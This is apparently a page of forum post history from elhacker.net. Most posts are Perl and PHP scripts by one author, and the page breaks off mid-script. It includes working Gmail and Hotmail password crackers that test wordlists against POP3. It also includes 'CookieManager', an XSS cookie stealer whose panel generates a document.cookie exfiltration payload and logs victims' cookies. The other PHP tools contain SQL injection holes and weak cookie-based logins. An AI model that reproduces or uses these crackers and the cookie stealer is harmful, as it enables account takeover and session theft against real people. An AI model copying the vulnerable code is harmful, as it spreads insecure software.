elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Estamos en la red social de Mastodon


  Mostrar Mensajes
Páginas: 1 ... 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 [42] 43 44 45 46 47 48 49 50 51 52 53 54 55
411  Programación / Scripting / [Perl] Gmail Cracker 0.1 en: 1 Febrero 2012, 19:25 pm
Un simple programa para crackear una cuenta Gmail.

Código
  1. #Gmail Cracker 0.1
  2. #Coded By Doddy H
  3. #http://search.cpan.org/~sdowd/Mail-POP3Client-2.18/POP3Client.pm
  4. #http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
  5. #ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd
  6.  
  7. use Mail::POP3Client;
  8. use IO::Socket::SSL;
  9.  
  10. head();
  11.  
  12. if($ARGV[0] and $ARGV[1]) {
  13. crackgmail($ARGV[0],$ARGV[1]);
  14. } else {
  15. print "\n[+] Sintax : $0 <email> <wordlist>\n";
  16. }
  17.  
  18. copyright();
  19.  
  20. sub crackgmail {
  21.  
  22. my($user,$wordlist) = @_ ;
  23.  
  24. unless(-f $wordlist) {
  25. print "\n[-] Wordlist not found\n";
  26. copyright();
  27. }
  28.  
  29. print "\n[+] Loading wordlist\n";
  30.  
  31. open(FILE,$wordlist);
  32. my @passwords = <FILE>;
  33. close FILE;
  34.  
  35. print "\n[+] Words Found : ".int(@passwords)."\n";
  36. print "\n[+] Cracking...\n\n";
  37.  
  38. for my $pass(@passwords) {
  39. chomp $pass;
  40.  
  41. my $so = IO::Socket::SSL->new(PeerAddr=>"pop.gmail.com",PeerPort => 995,Proto => "tcp");
  42.  
  43. my $nave = Mail::POP3Client->new();
  44.  
  45. $nave->User($user);
  46. $nave->Pass($pass);
  47. $nave->Socket($so);
  48.  
  49. if ($nave->Connect()) {
  50. print "\a\a\n[+] Email : $user\n";
  51. print "[+] Password : $pass\n";
  52. $so->close();
  53. $nave->close();
  54. copyright();
  55. }
  56. $so->close();
  57. $nave->close();
  58. }
  59.  
  60. print "\n[+] Password not found\n";
  61.  
  62. }
  63.  
  64. sub head {
  65. print "\n\n-- == Gmail Cracker == --\n\n";
  66. }
  67.  
  68. sub copyright {
  69. print "\n\n(C) Doddy Hackman 2012\n\n";
  70. exit(1);
  71. }
  72.  
  73. # The End ?
  74.  
412  Programación / Scripting / [Perl] Hotmail Cracker 0.1 en: 1 Febrero 2012, 19:24 pm
Un simple script para crackear una cuenta Hotmail.

Código
  1. #Hotmail Cracker 0.1
  2. #Coded By Doddy H
  3. #http://search.cpan.org/~sdowd/Mail-POP3Client-2.18/POP3Client.pm
  4. #http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
  5. #ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd
  6.  
  7. use Mail::POP3Client;
  8. use IO::Socket::SSL;
  9.  
  10. head();
  11.  
  12. if($ARGV[0] and $ARGV[1]) {
  13. crackhot($ARGV[0],$ARGV[1]);
  14. } else {
  15. print "\n[+] Sintax : $0 <email> <wordlist>\n";
  16. }
  17.  
  18. copyright();
  19.  
  20. sub crackhot {
  21.  
  22. my($user,$wordlist) = @_ ;
  23.  
  24. unless(-f $wordlist) {
  25. print "\n[-] Wordlist not found\n";
  26. copyright();
  27. }
  28.  
  29. print "\n[+] Loading wordlist\n";
  30.  
  31. open(FILE,$wordlist);
  32. my @passwords = <FILE>;
  33. close FILE;
  34.  
  35. print "\n[+] Words Found : ".int(@passwords)."\n";
  36. print "\n[+] Cracking...\n\n";
  37.  
  38. for my $pass(@passwords) {
  39. chomp $pass;
  40.  
  41. my $so = IO::Socket::SSL->new(PeerAddr=>"pop3.live.com",PeerPort => 995,Proto => "tcp");
  42.  
  43. my $nave = Mail::POP3Client->new();
  44.  
  45. $nave->User($user);
  46. $nave->Pass($pass);
  47. $nave->Socket($so);
  48.  
  49. if ($nave->Connect()) {
  50. print "\a\a\n[+] Email : $user\n";
  51. print "[+] Password : $pass\n";
  52. $so->close();
  53. $nave->close();
  54. copyright();
  55. }
  56. $so->close();
  57. $nave->close();
  58. }
  59.  
  60. print "\n[+] Password not found\n";
  61.  
  62. }
  63.  
  64. sub head {
  65. print "\n\n-- == Hotmail Cracker == --\n\n";
  66. }
  67.  
  68. sub copyright {
  69. print "\n\n(C) Doddy Hackman 2012\n\n";
  70. exit(1);
  71. }
  72.  
  73. # The End ?
  74.  
413  Programación / PHP / Ban System 0.1 en: 31 Enero 2012, 21:58 pm
Un simple codigo para banear una IP.

El codigo

Código
  1. <?php
  2.  
  3. //Ban System 0.1
  4. //Coded By Doddy H
  5.  
  6. //Datos para la DB
  7.  
  8. $host = "localhost";
  9. $userw = "root";
  10. $passw = "";
  11. $db = "ban";
  12.  
  13. //
  14.  
  15. mysql_connect($host,$userw,$passw);
  16.  
  17. $ipa = ip2long($_SERVER[REMOTE_ADDR]);
  18. $ip = $_SERVER[REMOTE_ADDR];
  19.  
  20. if ($ipa == -1 || $ipa === FALSE) {
  21.  
  22. $re = mysql_query("select ip from bansystem where ip='$ip'");
  23.  
  24. if (mysql_num_rows($re) > 0) {
  25. echo "<center><h1>Has sido baneado de esta pagina</h1></center>";
  26. } else {
  27. echo "<center><h2>Bienvenido</h2></center>";
  28. }
  29.  
  30. } else {
  31. echo "<script>alert('Muy gracioso');</script>";
  32. }
  33.  
  34.  
  35.  
  36. // The End ?
  37.  
  38.  
  39. ?>
  40.  
  41.  

El administrador

Código
  1. <?php
  2.  
  3. //Ban System Admin 0.1
  4. //Coded By Doddy H
  5.  
  6. //Datos para el login
  7.  
  8. $username = "admin";
  9. $password = "21232f297a57a5a743894a0e4a801fc3"; //admin
  10.  
  11. //
  12.  
  13. //Datos para la DB
  14.  
  15. $host = "localhost";
  16. $userw = "root";
  17. $passw = "";
  18. $db = "ban";
  19.  
  20. //
  21.  
  22. if (isset($_COOKIE['portal'])) {
  23.  
  24. $st = base64_decode($_COOKIE['portal']);
  25.  
  26. $plit = split("@",$st);
  27. $user = $plit[0];
  28. $pass = $plit[1];
  29.  
  30. if ($user == $username and $pass == $password) {
  31.  
  32. mysql_connect($host,$userw,$passw);
  33.  
  34. if(isset($_POST['instalar'])) {
  35.  
  36. $todo = "create table bansystem (
  37. id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  38. ip TEXT NOT NULL,
  39. PRIMARY KEY(id));
  40. ";
  41.  
  42. if (mysql_query($todo)) {
  43. echo "<script>alert('Instalado correctamente');</script>";
  44. echo '<meta http-equiv="refresh" content=0;URL=>';
  45. } else {
  46. echo "<script>alert('Error');</script>";
  47. }
  48. }
  49.  
  50. if( mysql_num_rows(mysql_query("show tables like 'bansystem'"))) {
  51. //Lo demas
  52.  
  53. echo "<title>BanSystem Administracion</title>";
  54. echo "<center><h1>BanSystem Administracion</h1></center><br><br>";
  55.  
  56. if(isset($_POST['ipadd'])) {
  57.  
  58. $ipfinal = ip2long($_POST['ipadd']);
  59. $ipaz = $_POST['ipadd'];
  60.  
  61. if ($ipfinal == -1 || $ipfinal === FALSE) {
  62. echo "<script>alert('Eso no es una IP');</script>";
  63.  
  64. } else {
  65.  
  66. if (mysql_query("INSERT INTO bansystem (id,ip) values (NULL,'$ipaz')")) {
  67. echo "<script>alert('IP Agregada');</script>";
  68. } else {
  69. echo "<script>alert('Error');</script>";
  70. }
  71.  
  72.  
  73. }
  74. }
  75.  
  76. if(isset($_GET['del'])) {
  77. $id = $_GET['del'];
  78. if (@mysql_query("DELETE FROM bansystem where id ='$id'")) {
  79. echo "<script>alert('Borrado');</script>";
  80. } else {
  81. echo "<script>alert('Error');</script>";
  82. }
  83. }
  84.  
  85. echo "
  86. <center>
  87. <h2>Agregar una IP</h2><br><br>
  88. <form action='' method=POST>
  89. IP : <input type=text name=ipadd value=127.0.0.1><input type=submit value=Agregar>
  90. </form>
  91. <br><br>
  92. <h2>Baneados</h2><br><br>
  93. <table border=1>
  94. <td>ID</td><td>IP</td><td>Option</td><tr>";
  95.  
  96. $sen = @mysql_query("select * from bansystem order by id ASC");
  97.  
  98. while ($ab = @mysql_fetch_array($sen)) {
  99. echo "<td>".htmlentities($ab[0])."</td><td>".htmlentities($ab[1])."</td><td><a href=?del=".htmlentities($ab[0]).">Delete</a></td><tr>";
  100. }
  101.  
  102. echo "</table>
  103. </center>
  104. ";
  105. //
  106. } else {
  107. echo "
  108. <center><br><br>
  109. <form action='' method=POST>
  110. <h2>Deseas instalar Ban System ?</h2><br><br>
  111. <input type=submit name=instalar value=Instalar>
  112. </form>";
  113. }
  114.  
  115. exit(1);
  116.  
  117. // End
  118.  
  119. } else {
  120. echo "<script>alert('Segui Participando');</script>";
  121. }
  122. }
  123.  
  124. if (isset($_POST['login'])) {
  125. if ($_POST['user'] == $username and md5($_POST['password']) == $password) {
  126. setcookie("portal",base64_encode($_POST['user']."@".md5($_POST['password'])));
  127. echo "<script>alert('Bienvenido idiota');</script>";
  128. echo '<meta http-equiv="refresh" content=0;URL=>';
  129. } else {
  130. echo "<script>alert('Segui Participando');</script>";
  131. }
  132.  
  133. } else {
  134.  
  135. echo "
  136. <title>Ban System</title>
  137. <h1><center>Ban System</center></h1>
  138. <br><br><center>
  139. <form action='' method=POST>
  140. Username : <input type=text name=user><br>
  141. Password : <input type=text name=password><br><br>
  142. <input type=submit name=login value=Enter><br>
  143. </form>
  144. </center><br><br>";
  145.  
  146. }
  147.  
  148. // The End ?
  149.  
  150.  
  151. ?>
  152.  
414  Programación / PHP / CookieManager 0.3 en: 31 Enero 2012, 21:57 pm
Un simple cookie stealer para XSS.

Código
  1. <?php
  2.  
  3. //CookieManager 0.3
  4. //Coded By Doddy H
  5.  
  6. //Datos para el login
  7.  
  8. $username = "admin";
  9. $password = "21232f297a57a5a743894a0e4a801fc3"; //admin
  10.  
  11. //
  12.  
  13. //Datos para la DB
  14.  
  15. $host = "localhost";
  16. $userw = "root";
  17. $passw = "";
  18. $db = "cookies";
  19.  
  20. //
  21.  
  22. mysql_connect($host,$userw,$passw);
  23.  
  24. if(isset($_GET['id'])) {
  25.  
  26. if(empty($_GET['id'])) {
  27. error();
  28. }
  29.  
  30. $dia = date("d.m.Y");
  31. $ip = $_SERVER["REMOTE_ADDR"];
  32. $info = $_SERVER["HTTP_USER_AGENT"];
  33. $ref = $_SERVER["HTTP_REFERER"];
  34. $cookie = $_GET['id'];
  35.  
  36. @mysql_query("INSERT INTO todo(id,fecha,ip,info,referer,cookie)values(NULL,'$dia','$ip','$info','$ref','$cookie')");
  37.  
  38. header("Location:http://www.google.com.ar");
  39.  
  40. }
  41.  
  42. elseif (isset($_COOKIE['portal'])) {
  43.  
  44. $st = base64_decode($_COOKIE['portal']);
  45.  
  46. $plit = split("@",$st);
  47. $user = $plit[0];
  48. $pass = $plit[1];
  49.  
  50.  
  51. if ($user == $username and $pass == $password) {
  52.  
  53. echo "<title>CookieManager 0.3</title>";
  54.  
  55. echo "<STYLE type=text/css>
  56.  
  57. body,a:link {
  58. background-color: #000000;
  59. color:orange;
  60. Courier New;
  61. cursor:crosshair;
  62. font-size: small;
  63. }
  64.  
  65. input,table.outset,table.bord,table,textarea,select,fieldset,td,tr {
  66. font: normal 10px Verdana, Arial, Helvetica,
  67. sans-serif;
  68. background-color:black;
  69. color:orange;
  70. border: solid 1px orange;
  71. border-color:orange
  72. }
  73.  
  74. a:link,a:visited,a:active {
  75. color: orange;
  76. font: normal 10px Verdana, Arial, Helvetica,
  77. sans-serif;
  78. text-decoration: none;
  79. }
  80.  
  81. </style>
  82. ";
  83.  
  84. if(isset($_POST['instalar'])) {
  85.  
  86. $todo = "create table todo (
  87. id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  88. fecha TEXT NOT NULL,
  89. ip TEXT NOT NULL,
  90. info TEXT NOT NULL,
  91. referer TEXT NOT NULL,
  92. cookie TEXT NOT NULL,
  93. PRIMARY KEY (id));
  94. ";
  95.  
  96. if (mysql_query($todo)) {
  97. echo "<script>alert('Installed');</script>";
  98. } else {
  99. echo "<script>alert('Error');</script>";
  100. }
  101. }
  102.  
  103. if( mysql_num_rows(mysql_query("show tables like 'todo'"))) {
  104.  
  105. //
  106.  
  107. if(isset($_GET['del'])) {
  108. if (is_numeric($_GET['del'])) {
  109. if (@mysql_query("delete from todo where id='".$_GET['del']."'")) {
  110. echo "<script>alert('Deleted');</script>";
  111. } else {
  112. echo "<script>alert('Error');</script>";
  113. }}}
  114.  
  115. echo "<center>";
  116. echo "<h1>CookieManager</h1><br><br>";
  117.  
  118.  
  119. $iny = htmlentities("<script>document.location='http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."?id='%2Bdocument.cookie</script>");
  120.  
  121. echo "<b>CODE</b> : <input type=text name=iny value=$iny size=104><br><br>";
  122.  
  123. $re = mysql_query("select * from todo order by id ASC");
  124. $con = mysql_num_rows($re);
  125.  
  126. if ($con==0) {
  127. echo "<script>alert('Not found cookies');</script>";
  128. } else {
  129.  
  130. echo "<br><br><h1>Cookies Found</h1><br><br><table border=1 width=1100>";
  131. echo "<td><b>ID</b></td><td><b>Date</b></td><td><b>IP</b></td><td><b>Data</b></td><td><b>Referer</b></td><td><b>Cookie</b></td><td><b>Option</b></td><tr>";
  132.  
  133. while ($ver = mysql_fetch_array($re)) {
  134.  
  135. echo "<td>".htmlentities($ver[0])."</td><td>".htmlentities($ver[1])."</td><td>".htmlentities($ver[2])."</td><td>".htmlentities($ver[3])."</td>";
  136. echo "<td>".htmlentities($ver[4])."</td><td>".htmlentities($ver[5])."</td><td><a href=?del=".$ver[0].">Del</a></td><tr>";
  137.  
  138. }
  139.  
  140. echo "</table>";
  141. echo "<br><br><br><br><br><h1>Coded By Doddy H || 2012</h1><br><br>";
  142.  
  143.  
  144.  
  145.  
  146. }
  147.  
  148. //
  149.  
  150. } else {
  151. echo "
  152. <center><br><br>
  153. <form action='' method=POST>
  154. <h2>Deseas instalar CookieManager ?</h2><br><br>
  155. <input type=submit name=instalar value=Instalar>
  156. </form>";
  157. }
  158. exit(1);
  159. }
  160. }
  161.  
  162. elseif (isset($_POST['login'])) {
  163. if ($_POST['user'] == $username and md5($_POST['password']) == $password) {
  164. setcookie("portal",base64_encode($_POST['user']."@".md5($_POST['password'])));
  165. echo "<script>alert('Welcome idiot');</script>";
  166. echo '<meta http-equiv="refresh" content=0;URL=>';
  167. } else {
  168. echo "<script>alert('Continued to participate');</script>";
  169. }
  170. }
  171.  
  172. elseif(isset($_GET['adminow'])) {
  173.  
  174. echo "
  175. <h1><center>Login</center></h1>
  176. <br><br><center>
  177. <form action='' method=POST>
  178. Username : <input type=text name=user><br>
  179. Password : <input type=text name=password><br><br>
  180. <input type=submit name=login value=Enter><br>
  181. </form>
  182. </center><br><br>";
  183. } else {
  184.  
  185. error();
  186.  
  187. }
  188.  
  189. function error() {
  190. echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
  191. <html><head>
  192. <title>404 Not Found</title>
  193. </head><body>
  194. <h1>Not Found</h1>
  195. <p>The requested URL was not found on this server.</p>
  196. </body></html>';
  197. exit(1);
  198. }
  199.  
  200.  
  201.  
  202. // The End ?
  203.  
  204.  
  205. ?>
  206.  
  207.  
415  Programación / PHP / Mini Chat 0.3 en: 31 Enero 2012, 21:57 pm
Una nueva version del simple chat que habia hecho hace un tiempo.

El codigo del chat

Código
  1. <?php
  2.  
  3. //Mini Chat 0.3
  4. //Coded By Doddy H
  5.  
  6. //Datos del a DB
  7.  
  8. $host = "localhost";
  9. $user = "root";
  10. $pass = "";
  11. $db = "chat";
  12.  
  13. //
  14.  
  15. //Colores
  16.  
  17. $fondo = "black";
  18. $color = "#00FF00";
  19.  
  20. //
  21.  
  22. echo "
  23. <style>
  24.  
  25. .main {
  26. word-wrap: break-word;
  27. word-break:break-all;
  28. margin : -287px 0px 0px -490px;
  29. border : White solid 1px;
  30. BORDER-COLOR: $color;
  31. background-color:$fondo;
  32. color:$color;
  33. }
  34.  
  35. .otro {
  36. background-color:$fondo;
  37. color:$color;
  38. BORDER-COLOR: $color;
  39. }
  40.  
  41. </style>";
  42.  
  43. mysql_connect($host,$user,$pass);
  44.  
  45. echo "<table border=0 width='210' style='table-layout: fixed'>";
  46. echo "<td class=main><b>Mini Chat 0.3</b></td><tr class=main>";
  47.  
  48.  
  49. $sumo = mysql_query("SELECT MAX(id_comentario) FROM mensajes");
  50.  
  51. $s = mysql_fetch_row($sumo);
  52.  
  53. foreach ($s as $d) {
  54. $total = $d;
  55. }
  56.  
  57. $test = $total - 10;
  58.  
  59. if ($test <= 0) {
  60. } else {
  61. $resto = $test;
  62.  
  63. for ($i = 1; $i <= $resto; $i++) {
  64. @mysql_query("DELETE FROM mensajes where id_comentario='$i'");
  65. }
  66. }
  67.  
  68. $re = @mysql_query("select * from mensajes order by id_comentario DESC");
  69.  
  70. while ($ver = @mysql_fetch_array($re)) {
  71. echo "<td class=main><b>".$ver[2]."</b>:".$ver[1]."</td><tr class=main>";
  72. }
  73.  
  74.  
  75. echo "<br><br><td class=main><br><b>Dejar mensaje</b><br><br>
  76. <form action='' method=POST>
  77. Apodo : <input class=otro type=text name=apodo size=25><br>
  78. Texto : <input class=otro type=text name=msg size=25><br><br>
  79. <input class=otro type=submit name=chatentro value=Mandar>
  80. </form>
  81. <tr>
  82. <td class=main><b>Coded By Doddy H</b></td><tr class=main>
  83. </table>";
  84.  
  85.  
  86. if (isset($_POST['chatentro'])) {
  87.  
  88. $sumo = mysql_query("SELECT MAX(id_comentario) FROM mensajes");
  89.  
  90. $s = mysql_fetch_row($sumo);
  91.  
  92. foreach ($s as $d) {
  93. $x_id = $d+1;
  94. }
  95.  
  96. $apodo = htmlentities(addslashes($_POST['apodo']));
  97. $mensaje  = htmlentities(addslashes($_POST['msg']));
  98.  
  99. $apodo = substr($apodo,0,70);
  100. $mensaje = substr($mensaje,0,70);
  101.  
  102. $rex = mysql_query("select mensaje from insultos");
  103.  
  104. while ($con = mysql_fetch_array($rex)) {
  105. $mensaje = str_replace($con[0],"#$!*",$mensaje);
  106. $apodo = str_replace($con[0],"#$!*",$apodo);
  107. }
  108.  
  109. @mysql_query("INSERT INTO mensajes(id_comentario,apodo,mensaje)values('$x_id','$apodo','$mensaje')");
  110.  
  111. echo '<meta http-equiv="refresh" content=0;URL=>';
  112.  
  113. }
  114.  
  115.  
  116. // The End ?
  117.  
  118. ?>
  119.  

El administrador.

Código
  1. <?php
  2.  
  3. //Mini Chat 0.3 Admin
  4.  
  5. //Datos para el login
  6.  
  7. $username = "admin";
  8. $password = "21232f297a57a5a743894a0e4a801fc3"; //admin
  9.  
  10. //
  11.  
  12. //Datos para la DB
  13.  
  14. $host = "localhost";
  15. $userw = "root";
  16. $passw = "";
  17. $db = "chat";
  18.  
  19. //
  20.  
  21. if (isset($_COOKIE['portal'])) {
  22.  
  23. $st = base64_decode($_COOKIE['portal']);
  24.  
  25. $plit = split("@",$st);
  26. $user = $plit[0];
  27. $pass = $plit[1];
  28.  
  29. if ($user == $username and $pass == $password) {
  30.  
  31. echo "<title>Mini Chat 0.3</title>";
  32.  
  33. mysql_connect($host,$userw,$passw);
  34.  
  35. if(isset($_POST['instalar'])) {
  36.  
  37. $todo = "create table mensajes (
  38. id_comentario int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  39. mensaje TEXT NOT NULL,
  40. apodo VARCHAR(255) NOT NULL,
  41. PRIMARY KEY (id_comentario));
  42. ";
  43.  
  44. $todo2 = "create table insultos (
  45. id_insulto int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  46. mensaje TEXT NOT NULL,
  47. PRIMARY KEY (id_insulto));
  48. ";
  49.  
  50. if (mysql_query($todo)) {
  51. if (mysql_query($todo2)) {
  52.  
  53. $insultos = array("lammer","lamer","maricon","noob");
  54.  
  55. foreach ($insultos as $con) {
  56. @mysql_query("INSERT INTO insultos(id_insulto,mensaje)values(NULL,'$con')");
  57. }
  58.  
  59. echo "<script>alert('Instalado correctamente');</script>";
  60. echo '<meta http-equiv="refresh" content=0;URL=>';
  61. }
  62. } else {
  63. echo "<script>alert('Error');</script>";
  64. }
  65. }
  66.  
  67. if( mysql_num_rows(mysql_query("show tables like 'mensajes'"))) {
  68.  
  69. //
  70.  
  71. $re = mysql_query("select * from mensajes order by id_comentario ASC");
  72.  
  73. if (isset($_GET['id'])) {
  74. if (is_numeric($_GET['id'])) {
  75. if (@mysql_query("delete from mensajes where id_comentario='".$_GET['id']."'")) {
  76. echo "<script>alert('Comentario borrado');</script>";
  77. } else {
  78. echo "<script>alert('Error');</script>";
  79. }}}
  80.  
  81. echo "<center><h2>Comentarios encontrados</h2><br><br>";
  82. echo "<table border=1>";
  83. echo "<td><b>ID</b></td><td><b>Apodo</b></td><td><b>Texto</b></td><td><b>Opcion</b></td><tr>";
  84.  
  85. while ($ver = mysql_fetch_array($re)) {
  86. echo "<td>".htmlentities($ver[0])."</td><td>".htmlentities($ver[2])."</td><td>".htmlentities($ver[1])."</td><td><a href=?id=".htmlentities($ver[0]).">Borrar</a></td><tr>";
  87. }
  88.  
  89. echo "</table>";
  90.  
  91. if(isset($_POST['nuevoinsulto'])) {
  92. $in = $_POST['insul'];
  93. @mysql_query("INSERT INTO insultos(id_insulto,mensaje)values(NULL,'$in')");
  94. }
  95.  
  96. if(isset($_GET['delpu'])) {
  97. if (is_numeric($_GET['delpu'])) {
  98. if (@mysql_query("delete from insultos where id_insulto='".$_GET['delpu']."'")) {
  99. echo "<script>alert('Insulto borrado');</script>";
  100. } else {
  101. echo "<script>alert('Error');</script>";
  102. }}}
  103.  
  104. echo "<br><br><h2>Bloqueo de insultos</h2><br><br>";
  105. echo "
  106. <form action='' method=POST>
  107. Texto : <input type=text name=insul>
  108. <input type=submit name=nuevoinsulto value=Agregar>
  109. </form>";
  110.  
  111. echo "<br><br><h2>Insultos encontrados</h2><br><br>";
  112.  
  113. $rea = mysql_query("select * from insultos order by id_insulto ASC");
  114.  
  115. echo "<table border=1>";
  116. echo "<td>ID</td><td>Insulto</td><td>Opcion</td><tr>";
  117. while ($ver = mysql_fetch_array($rea)) {
  118. echo "<td>".htmlentities($ver[0])."</td><td>".htmlentities($ver[1])."</td><td><a href=?delpu=".htmlentities($ver[0]).">Borrar</a></td><tr>";
  119. }
  120.  
  121. echo "</table>";
  122. echo "</center>";
  123.  
  124. } else {
  125. echo "
  126. <center><br><br>
  127. <form action='' method=POST>
  128. <h2>Deseas instalar Mini Chat 0.3 ?</h2><br><br>
  129. <input type=submit name=instalar value=Instalar>
  130. </form>";
  131. }
  132.  
  133. exit(1);
  134.  
  135. }
  136. }
  137.  
  138. if (isset($_POST['login'])) {
  139. if ($_POST['user'] == $username and md5($_POST['password']) == $password) {
  140. setcookie("portal",base64_encode($_POST['user']."@".md5($_POST['password'])));
  141. echo "<script>alert('Bienvenido idiota');</script>";
  142. echo '<meta http-equiv="refresh" content=0;URL=>';
  143. } else {
  144. echo "<script>alert('Segui Participando');</script>";
  145. }
  146.  
  147. } else {
  148.  
  149. echo "
  150. <title>Mini Chat 0.3</title>
  151. <h1><center>Mini Chat 0.3</center></h1>
  152. <br><br><center>
  153. <form action='' method=POST>
  154. Username : <input type=text name=user><br>
  155. Password : <input type=text name=password><br><br>
  156. <input type=submit name=login value=Enter><br>
  157. </form>
  158. </center><br><br>";
  159.  
  160. }
  161.  
  162. // The End ?
  163.  
  164.  
  165. ?>
  166.  
  167.  
416  Programación / PHP / Simple contador de visitas en: 31 Enero 2012, 21:56 pm
Un simple contador de visitas.

La clase del contador

Código
  1. <?php
  2.  
  3. /*
  4.  
  5. Base de un contador de visitas
  6.  
  7. V 0.1
  8.  
  9. Coded By Doddy H
  10.  
  11. */
  12.  
  13.  
  14. class contador {
  15.  
  16. public function start($host,$user,$pass,$db) {
  17.  
  18. if ($test = @mysql_connect($host,$user,$pass)) {
  19. if (mysql_select_db($db)) {
  20. return true;
  21. }}}
  22.  
  23. public function end() {
  24. $test->close;
  25. }
  26.  
  27. public function instalar() {
  28.  
  29. $todo1 = "create table visitas (
  30. suma int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  31. PRIMARY KEY (suma));
  32. ";
  33.  
  34. if (mysql_query($todo1)) {
  35. return true;
  36. }
  37. }
  38.  
  39. public function desinstalar() {
  40.  
  41. if (@mysql_query("drop table visitas")) {
  42. return true;
  43. }}
  44.  
  45. public function otromas() {
  46. if (@mysql_query("INSERT INTO visitas(suma)VALUES('NULL')")) {
  47. return true;
  48. }}
  49.  
  50. public function totalvisitas() {
  51. return mysql_num_rows(mysql_query("select suma from visitas"));
  52. }
  53.  
  54. }
  55.  
  56. // The End ?
  57.  
  58. ?>
  59.  

Ejemplos de uso

Código
  1. <?php
  2.  
  3. include_once("contador.php");
  4.  
  5. $name = New contador;
  6.  
  7. $name->start("localhost","root","","contador");
  8. //$name->instalar();
  9. //$name->desinstalar();
  10.  
  11. $name->otromas();//funcion vital para contar la visita
  12.  
  13. $cantidad = $name->totalvisitas(); //funcion para contar el total de visitas
  14.  
  15. echo "<center><h1>Total de visitas $cantidad</h1></center>";
  16.  
  17. $name->end();
  18.  
  19. // The End ?
  20.  
  21.  
  22. ?>
  23.  
417  Programación / Scripting / [Perl] Terr0r B0t 0.3 en: 19 Enero 2012, 20:36 pm
Un bot para IRC con funciones orientadas al hacking asi como codificaciones , buscador de SQLI u otras.

http://pastebin.com/g3dxSf2C
418  Programación / Scripting / [Perl] Project STALKER 0.7 en: 19 Enero 2012, 20:36 pm
Un reemplazo de console CMD con las siguientes opciones

[++] Reconocer IP de un Host
[++] Capturar Links de una pagina
[++] Capturar todos los procesos activos
[++] Matar algun proceso
[++] Conectarse a donde sea con sockets
[++] Capturar metodos de un servidor HTTP
[++] Buscar paths activos para listado de directorios
[++] Encode/Decode para Hex,ASCII,Base64
[++] Scannear puertos
[++] Buscar panel de administracion
[++] Crackear un hash mediante paginas
[++] Scanner SQLI
[++] Cliente FTP y MYSQL
[++] Reconocer informacion de una ip
[++] Whois xD
[++] Navegador de archivos
[++] Scannear en google mediante dorks


http://pastebin.com/inQWXx9A
419  Programación / Scripting / [Perl] Manager 0.3 en: 19 Enero 2012, 20:35 pm
Un simple script para manejar los procesos en Windows.

Código
  1. #!usr/bin/perl
  2. #Manager 0.3
  3. #Written By Doddy H
  4.  
  5. use Color::Output;
  6. Color::Output::Init;
  7. use Win32::OLE qw(in);
  8. use Win32::Process;
  9.  
  10. &clean;
  11. &options;
  12.  
  13. sub clean {
  14.    cprint "\x0313";
  15.    print
  16. "\nManager 0.3\nCopyright 2012 Doddy Hackman\nMail:lepuke[at]hotmail[com]\n\n";
  17.    cprint "\x0x30\n\n";
  18.    my %process = getprocess();
  19.    chomp %process;
  20.    $limit = "";
  21.    for my $pid ( keys %process ) {
  22.        if ( $pid ne "" ) { $limit++ }
  23.        push( @procer, $process{$pid} );
  24.        push( @pids,   $pid );
  25.        chomp( @procer, @pids );
  26.    }
  27.    $limit--;
  28.    for my $n ( 1 .. $limit ) {
  29.        cprint "\x037";
  30.        print
  31.          "Process Number: [$n]\tProcess name : $procer[$n]\tPID : $pids[$n]\n";
  32.        cprint "\x037";
  33.    }
  34. }
  35.  
  36. sub options {
  37.    cprint "\0035";
  38.    print
  39. "\n\nOptions :\n\n[a] : Close a process\n[b] Clean Console\n[c] Exit\n\n\n[+] Write you options : ";
  40.    $t = <STDIN>;
  41.    chomp $t;
  42.    if ( $t eq "a" ) {
  43.        &close;
  44.    }
  45.    elsif ( $t eq "b" ) {
  46.        reload();
  47.    }
  48.    elsif ( $t eq "c" ) {
  49.        print "\n\n[+] Written By Doddy H\n\n";
  50.        <stdin>;
  51.        exit(1);
  52.    }
  53.    else {
  54.        reload();
  55.    }
  56. }
  57.  
  58. sub close {
  59.    print "\n[+] Write the number of the process : ";
  60.    $numb = <STDIN>;
  61.    chomp $numb;
  62.    Win32::Process::KillProcess( @procer[$numb], "" );
  63.    print "\n\n[+] OK , Process Closed\n\n";
  64.    <stdin>;
  65.    reload();
  66. }
  67.  
  68. sub reload {
  69.    system("cls");
  70.    system($0);
  71.    &clean;
  72.    &options;
  73. }
  74.  
  75. sub getprocess {
  76.  
  77.    my %procesos;
  78.  
  79.    my $uno = Win32::OLE->new("WbemScripting.SWbemLocator");
  80.    my $dos = $uno->ConnectServer( "", "root\\cimv2" );
  81.  
  82.    foreach my $pro ( in $dos->InstancesOf("Win32_Process") ) {
  83.        $procesos{ $pro->{Caption} } = $pro->{ProcessId};
  84.    }
  85.    return %procesos;
  86. }
  87.  
  88. # The End ?
  89.  
  90.  
420  Programación / Scripting / [Perl] LocateIP 0.3 en: 19 Enero 2012, 20:35 pm
La nueva version de este programa para buscar informacion sobre un ip.

Código
  1. #!usr/bin/perl
  2. #LocateIP 0.3 (C) Doddy Hackman 2012
  3.  
  4. use LWP::UserAgent;
  5. use IO::Socket;
  6.  
  7. my $nave = LWP::UserAgent->new();
  8. $nave->timeout(5);
  9. $nave->agent(
  10. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  11. );
  12.  
  13. head();
  14. if ( $ARGV[0] ) {
  15.    start( $ARGV[0] );
  16. }
  17. else {
  18.    sintax();
  19. }
  20. copyright();
  21.  
  22. sub start {
  23.    print "\n[+] Target :  $_[0]\n";
  24.    infocon( $_[0] );
  25. }
  26.  
  27. sub sintax {
  28.    print "\n[+] sintax : $0 <web>\n";
  29. }
  30.  
  31. sub head {
  32.    print q(
  33.  
  34.  
  35.  
